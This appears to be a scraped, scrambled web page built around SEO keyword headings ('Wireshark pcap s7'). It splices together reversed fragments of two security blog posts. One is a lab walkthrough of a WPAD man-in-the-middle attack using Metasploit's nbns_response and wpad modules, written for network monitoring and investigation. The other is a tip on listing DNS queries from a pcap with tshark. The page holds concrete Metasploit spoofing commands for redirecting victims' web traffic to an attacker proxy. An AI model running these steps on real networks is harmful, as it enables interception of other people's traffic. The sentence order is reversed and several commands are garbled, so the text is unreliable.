#Wireshark pcap s7 how to
#Wireshark pcap s7 update
#Wireshark pcap s7 professional

Using WPAD to perform such a MITM attack on Windows Update is actually exactly what the Flame malware did.īeing able to access archived full content network traffic when analyzing an incident is a gold mine He also has full control over the traffic and can modify the outgoing requests as well as responses. The attacker can at this point monitor all web traffic to/from the victim machine.

192.168.1.5 wpad - Request 'GET Microsoft SUS Client/2.0 This is what the attacker sees when the victim machine boots up and attempts to access : The attacker will therefore run Burp to proxy all outgoing web traffic via TCP port 8080. Sf auxiliary(wpad) > set proxy 192.168.1.44Ĭlients on the local network with Web Proxy Autodiscovery configured will now try to use the attacker's machine Msf auxiliary(nbns_response) > set spoofip 192.168.1.44 Msf auxiliary(nbns_response) > set regex WPAD Msf > use auxiliary/spoof/nbns/nbns_response

+ -=[ 250 payloads - 28 encoders - 8 nops Attempting to update the Metasploit Framework.

Set up the WPAD module to fool clients into using the attacker machine as web msfupdate.

Spoof NetBIOS Name Service (NBNS) responses for 'WPAD'.

Start Metasploit's command line tool msfconsole.

Update Metasploit to the latest version, which contains the WPAD module The following steps are carried out in order to mount the attack: Which contains Metasploit as well as Burp Suite. The attacker machine is running Backtrack Linux, Which is a typical situation when connecting to networks at airports, conferences or hotels.Īll traffic from the local network is also captured by a sniffer via a monitor/SPAN port. The attacker and the victim are in this scenario connected to the same LAN, I've set up a lab network to look closer at a WPAD MITM attack from a network security monitoring (NSM) perspective. Is served via HTTP on port 80, which apparently is what Metasploit's egyp7 has done on his travel laptop. This process is clearly vulnerable to DHCP spoofing (step #1) and DNS poisoning (step #2).īut an even easier solution is to set up a computer with hostname 'WPAD' where a file called 'wpad.dat'

Use IP address defined in wpad.dat as the web proxy for all HTTP and HTTPS web traffic.

Broadcast a NetBIOS Name Service message and ask for 'WPAD'.Ĭontinue to #4 if anyone on the network claims to be called 'WPAD', otherwise don't use any web proxy.

Jump to #4 if a the lookup was successful.

Ask the DNS server who is called 'wpad' (or wpad.).

Did I receive a WPAD entry in my DHCP lease?.

The process of finding a web proxy with WPAD basically works like this: To detect which machine to use as proxy for HTTP(S) traffic. WPAD is short for 'Web Proxy Autodiscovery Protocol', and is a method for Windows machines This module, which is written by Efrain Torres, can be used to perform for man-in-the-middle (MITM) attacks Includes support for WPAD via a new auxiliary module located at The penetration testing framework Metasploit Now finally, roughly 10 years after WPAD was introduced, ' MS09-008: Web Proxy Auto-Discovery (WPAD), Illustrated' There is, for example, a great blog post by Tod Beardsley called

Windows' WPAD feature has for many years provided attackers and penetration testers a simple way to perform MITM

#Wireshark pcap s7 how to

This blog post explains how this attack works and how to investigate such an attack by Metasploit was recently updated with a module to generate a wpad.dat file for

#Wireshark pcap s7 professional

NetworkMiner Professional also has the ability to export this data to a CSV file.Ĭan also generate such a CSV file without a GUI, which is perfect if you wanna integrate it in a customized script. Loading the same nssal-capture-1.pcap into NetworkMiner generates the following list: There is a DNS tab in NetworkMiner, which displays a nice list of all DNS queries and responses in a pcap file. Tshark -r nssal-capture-1.pcap -T fields -e ip.src -e -R ' eq 0 and contains 'ġ37.30.123.78đ37.30.123.78 id.Ī list of ALL queries can be built with the same command, but without filtering on a particular domain: Tshark can easily be used in order to determine who queried for a particular domain, such as, by using the following command: Note: the pcap file used in this blog post is from the DFRWS 2009 Challenge. This is a problem that many network analysts run into, so I decided to write a blog post instead of just replying to the mailing list. There was recently a question on the Wireshark users mailing list about“ how to get the query name from a dns request packet with tshark”.